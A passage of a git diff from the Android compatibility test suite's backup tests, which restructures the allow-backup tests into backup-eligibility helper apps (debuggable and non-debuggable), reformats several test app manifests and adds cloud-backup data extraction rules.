-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.backupnotallowedapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
deleted file mode 100644
index ed65e73..0000000
--- a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup.backupnotallowedapp;
-
-import static androidx.test.InstrumentationRegistry.getTargetContext;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.Random;
-
-/**
- * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
- * designed to be called in any other way, as they rely on state set up by the host side test.
- *
- */
-@RunWith(AndroidJUnit4.class)
-@AppModeFull
-public class AllowBackupTest {
-    public static final String TAG = "AllowBackupCTSApp";
-    private static final int FILE_SIZE_BYTES = 1024 * 1024;
-
-    private Context mContext;
-
-    private File mDoBackupFile;
-    private File mDoBackupFile2;
-
-    @Before
-    public void setUp() {
-        mContext = getTargetContext();
-        setupFiles();
-    }
-
-    private void setupFiles() {
-        File filesDir = mContext.getFilesDir();
-        File normalFolder = new File(filesDir, "normal_folder");
-
-        mDoBackupFile = new File(filesDir, "file_to_backup");
-        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
-    }
-
-    @Test
-    public void createFiles() throws Exception {
-        // Make sure the data does not exist from before
-        deleteAllFiles();
-        assertNoFilesExist();
-
-        // Create test data
-        generateFiles();
-        assertAllFilesExist();
-
-        Log.d(TAG, "Test files created: \n"
-                + mDoBackupFile.getAbsolutePath() + "\n"
-                + mDoBackupFile2.getAbsolutePath());
-    }
-
-    @Test
-    public void checkNoFilesExist() throws Exception {
-        assertNoFilesExist();
-    }
-
-    @Test
-    public void checkAllFilesExist() throws Exception {
-        assertAllFilesExist();
-    }
-
-    private void generateFiles() {
-        try {
-            // Add data to all the files we created
-            addData(mDoBackupFile);
-            addData(mDoBackupFile2);
-            Log.d(TAG, "Files generated!");
-        } catch (IOException e) {
-            Log.e(TAG, "Unable to generate files", e);
-        }
-    }
-
-    private void deleteAllFiles() {
-        mDoBackupFile.delete();
-        mDoBackupFile2.delete();
-        Log.d(TAG, "Files deleted!");
-    }
-
-    private void addData(File file) throws IOException {
-        file.getParentFile().mkdirs();
-        byte[] bytes = new byte[FILE_SIZE_BYTES];
-        new Random().nextBytes(bytes);
-
-        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
-            bos.write(bytes, 0, bytes.length);
-        }
-    }
-
-    private void assertAllFilesExist() {
-        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
-        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
-    }
-
-    private void assertNoFilesExist() {
-        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
-        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
-    }
-}
diff --git a/hostsidetests/backup/Android.bp b/hostsidetests/backup/Android.bp
index 15d9880..dbc957c 100644
--- a/hostsidetests/backup/Android.bp
+++ b/hostsidetests/backup/Android.bp
@@ -24,6 +24,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     libs: [
         "cts-tradefed",
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
index 0b17a95..31cb71f 100644
--- a/hostsidetests/backup/AndroidTest.xml
+++ b/hostsidetests/backup/AndroidTest.xml
@@ -32,7 +32,6 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHostsideTestsFullBackupApp.apk" />
-        <option name="test-file-name" value="CtsIncludeExcludeApp.apk" />
     </target_preparer>
     <target_preparer class="android.cts.backup.BackupPreparer">
         <option name="enable-backup-if-needed" value="true" />
diff --git a/hostsidetests/backup/AllowBackup/Android.bp b/hostsidetests/backup/BackupEligibility/Android.bp
similarity index 100%
rename from hostsidetests/backup/AllowBackup/Android.bp
rename to hostsidetests/backup/BackupEligibility/Android.bp
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/Android.bp
similarity index 100%
rename from hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
rename to hostsidetests/backup/BackupEligibility/BackupAllowedApp/Android.bp
diff --git a/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..9c416cc
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="BackupAllowedApp">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/Android.bp
similarity index 100%
rename from hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
rename to hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/Android.bp
diff --git a/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..e399a11
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="BackupNotAllowedApp"
+        android:allowBackup="false">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp b/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp
new file mode 100644
index 0000000..c472b4b
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app used to verify 'adb backup' is enabled for debuggable apps.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "DebuggableApp",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsAllowBackupLib"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml
new file mode 100644
index 0000000..a4ace14
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="DebuggableApp"
+                 android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp
new file mode 100644
index 0000000..dcb953b
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app used to verify 'adb backup' is disabled for non-debuggable apps.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "NonDebuggableApp",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsAllowBackupLib"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml
new file mode 100644
index 0000000..b09e4ba
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupeligibilityapp">
+
+    <application android:label="NonDebuggableApp"
+                 android:debuggable="false">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java b/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java
new file mode 100644
index 0000000..0c071d1
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.backupeligibilityapp;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ *
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class BackupEligibilityTest {
+    public static final String TAG = "AllowBackupCTSApp";
+    private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+    private Context mContext;
+
+    private File mDoBackupFile;
+    private File mDoBackupFile2;
+
+    @Before
+    public void setUp() {
+        mContext = getTargetContext();
+        setupFiles();
+    }
+
+    private void setupFiles() {
+        File filesDir = mContext.getFilesDir();
+        File normalFolder = new File(filesDir, "normal_folder");
+
+        mDoBackupFile = new File(filesDir, "file_to_backup");
+        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+    }
+
+    @Test
+    public void createFiles() throws Exception {
+        // Make sure the data does not exist from before
+        deleteFilesAndAssertNoneExist();
+
+        // Create test data
+        generateFiles();
+        assertAllFilesExist();
+
+        Log.d(TAG, "Test files created: \n"
+                + mDoBackupFile.getAbsolutePath() + "\n"
+                + mDoBackupFile2.getAbsolutePath());
+    }
+
+    @Test
+    public void deleteFilesAndAssertNoneExist() {
+        deleteAllFiles();
+        assertNoFilesExist();
+    }
+
+    @Test
+    public void checkNoFilesExist() throws Exception {
+        assertNoFilesExist();
+    }
+
+    @Test
+    public void checkAllFilesExist() throws Exception {
+        assertAllFilesExist();
+    }
+
+    private void generateFiles() {
+        try {
+            // Add data to all the files we created
+            addData(mDoBackupFile);
+            addData(mDoBackupFile2);
+            Log.d(TAG, "Files generated!");
+        } catch (IOException e) {
+            Log.e(TAG, "Unable to generate files", e);
+        }
+    }
+
+    private void deleteAllFiles() {
+        mDoBackupFile.delete();
+        mDoBackupFile2.delete();
+        Log.d(TAG, "Files deleted!");
+    }
+
+    private void addData(File file) throws IOException {
+        file.getParentFile().mkdirs();
+        byte[] bytes = new byte[FILE_SIZE_BYTES];
+        new Random().nextBytes(bytes);
+
+        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+            bos.write(bytes, 0, bytes.length);
+        }
+    }
+
+    private void assertAllFilesExist() {
+        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+    }
+
+    private void assertNoFilesExist() {
+        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
+        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+    }
+}
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
index e2eb7c5..9939d4e 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
@@ -16,26 +16,25 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.sharedprefrestoreapp">
+     package="android.cts.backup.sharedprefrestoreapp">
 
-    <application
-        android:backupAgent=".SharedPreferencesBackupAgent"
-        android:killAfterRestore="false" >
+    <application android:backupAgent=".SharedPreferencesBackupAgent"
+         android:killAfterRestore="false">
 
         <activity android:name=".SharedPrefsRestoreTestActivity"
-            android:launchMode="singleInstance">
+             android:launchMode="singleInstance"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.backup.cts.backuprestore.INIT" />
-                <action android:name="android.backup.cts.backuprestore.UPDATE" />
-                <action android:name="android.backup.cts.backuprestore.TEST" />
+                <action android:name="android.backup.cts.backuprestore.INIT"/>
+                <action android:name="android.backup.cts.backuprestore.UPDATE"/>
+                <action android:name="android.backup.cts.backuprestore.TEST"/>
             </intent-filter>
         </activity>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.sharedprefrestoreapp" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.cts.backup.sharedprefrestoreapp"/>
 
 </manifest>
diff --git a/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml b/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
index 307b0e1..7a5cd6f 100644
--- a/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
+++ b/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
@@ -16,17 +16,17 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.successnotificationapp">
+     package="android.cts.backup.successnotificationapp">
 
     <application>
-        <receiver android:name=".SuccessNotificationReceiver">
+        <receiver android:name=".SuccessNotificationReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.BACKUP_FINISHED" />
+                <action android:name="android.intent.action.BACKUP_FINISHED"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.successnotificationapp" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.cts.backup.successnotificationapp"/>
 </manifest>
diff --git a/hostsidetests/backup/SyncAdapterSettingsApp/AndroidManifest.xml b/hostsidetests/backup/SyncAdapterSettingsApp/AndroidManifest.xml
index a46ff41..dd96aa6 100644
--- a/hostsidetests/backup/SyncAdapterSettingsApp/AndroidManifest.xml
+++ b/hostsidetests/backup/SyncAdapterSettingsApp/AndroidManifest.xml
@@ -16,35 +16,35 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.cts.backup.syncadaptersettingsapp">
+     package="android.cts.backup.syncadaptersettingsapp">
 
     <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
     <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
 
     <application android:label="BackupSyncAdapterSettings">
         <uses-library android:name="android.test.runner"/>
-        <service android:name=".SyncAdapterSettingsAuthenticator">
+        <service android:name=".SyncAdapterSettingsAuthenticator"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator"/>
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/authenticator"/>
         </service>
 
         <service android:name=".SyncAdapterSettingsService"
-                 android:exported="false">
+             android:exported="false">
             <intent-filter>
                 <action android:name="android.content.SyncAdapter"/>
             </intent-filter>
             <meta-data android:name="android.content.SyncAdapter"
-                       android:resource="@xml/syncadapter"/>
+                 android:resource="@xml/syncadapter"/>
         </service>
 
         <provider android:name=".SyncAdapterSettingsProvider"
-                  android:authorities="android.cts.backup.syncadaptersettingsapp.provider"/>
+             android:authorities="android.cts.backup.syncadaptersettingsapp.provider"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.cts.backup.syncadaptersettingsapp"/>
+         android:targetPackage="android.cts.backup.syncadaptersettingsapp"/>
 </manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/Android.bp b/hostsidetests/backup/includeexcludeapp/Android.bp
index 1a8c1ac..682101c 100644
--- a/hostsidetests/backup/includeexcludeapp/Android.bp
+++ b/hostsidetests/backup/includeexcludeapp/Android.bp
@@ -16,19 +16,13 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-android_test_helper_app {
-    name: "CtsIncludeExcludeApp",
-    defaults: ["cts_defaults"],
+java_library {
+    name: "CtsFullBackupRulesLib",
+    srcs: ["src/**/*.java"],
     static_libs: [
         "androidx.test.rules",
         "platform-test-annotations",
-    ],
-    srcs: ["src/**/*.java"],
-    // tag this module as a cts test artifact
-    test_suites: [
-        "arcts",
-        "cts",
-        "general-tests",
+        "truth-prebuilt",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
deleted file mode 100644
index 0367397..0000000
--- a/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.includeexcludeapp">
-
-    <application android:label="IncludeExcludeBackupApp"
-                 android:fullBackupContent="@xml/my_backup_rules">
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.includeexcludeapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApp/Android.bp b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApp/Android.bp
new file mode 100644
index 0000000..6a4a9b3
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsDataExtractionRulesApp",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+        "CtsFullBackupRulesLib",
+    ],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApp/AndroidManifest.xml b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApp/AndroidManifest.xml
new file mode 100644
index 0000000..e14ea92
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.includeexcludeapp">
+
+    <application
+            android:label="DataExtractionRulesApp"
+            android:dataExtractionRules="@xml/data_extraction_rules">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.includeexcludeapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApp/res/xml/data_extraction_rules.xml b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApp/res/xml/data_extraction_rules.xml
new file mode 100644
index 0000000..1cc9791
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApp/res/xml/data_extraction_rules.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<data-extraction-rules>
+    <cloud-backup>
+        <include domain="file" path="file_to_include"/>
+        <exclude domain="file" path="file_to_exclude"/>
+        <include domain="file" path="include_folder"/>
+        <exclude domain="file" path="include_folder/file_to_exclude"/>
+        <exclude domain="file" path="exclude_folder"/>
+        <include domain="file" path="exclude_folder/file_to_include"/>
+
+
+        <include domain="sharedpref" path="include_shared_pref1.xml"/>
+        <include domain="sharedpref" path="include_shared_pref2.xml"/>
+        <exclude domain="sharedpref" path="exclude_shared_pref1.xml"/>
+        <exclude domain="sharedpref" path="exclude_shared_pref2.xml"/>
+
+        <include domain="database" path="db_name/file_to_include"/>
+        <exclude domain="database" path="db_name/file_to_exclude"/>
+        <include domain="database" path="db_name/include_folder"/>
+        <exclude domain="database" path="db_name/include_folder/file_to_exclude"/>
+        <exclude domain="database" path="db_name/exclude_folder"/>
+        <include domain="database" path="db_name/exclude_folder/file_to_include"/>
+
+        <include domain="external" path="file_to_include"/>
+        <exclude domain="external" path="file_to_exclude"/>
+        <include domain="external" path="include_folder"/>
+        <exclude domain="external" path="include_folder/file_to_exclude"/>
+        <exclude domain="external" path="exclude_folder"/>
+        <include domain="external" path="exclude_folder/file_to_include"/>
+
+        <include domain="root" path="file_to_include"/>
+        <exclude domain="root" path="file_to_exclude"/>
+        <include domain="root" path="include_folder"/>
+        <exclude domain="root" path="include_folder/file_to_exclude"/>
+        <exclude domain="root" path="exclude_folder"/>
+        <include domain="root" path="exclude_folder/file_to_include"/>
+    </cloud-backup>
+</data-extraction-rules>
\ No newline at end of file
diff --git a/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/Android.bp b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/Android.bp
new file mode 100644
index 0000000..e2ae477
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsDataExtractionRulesApplicabilityApp",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+        "CtsFullBackupRulesLib",
+    ],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/AndroidManifest.xml b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/AndroidManifest.xml
new file mode 100644
index 0000000..86bfc3a
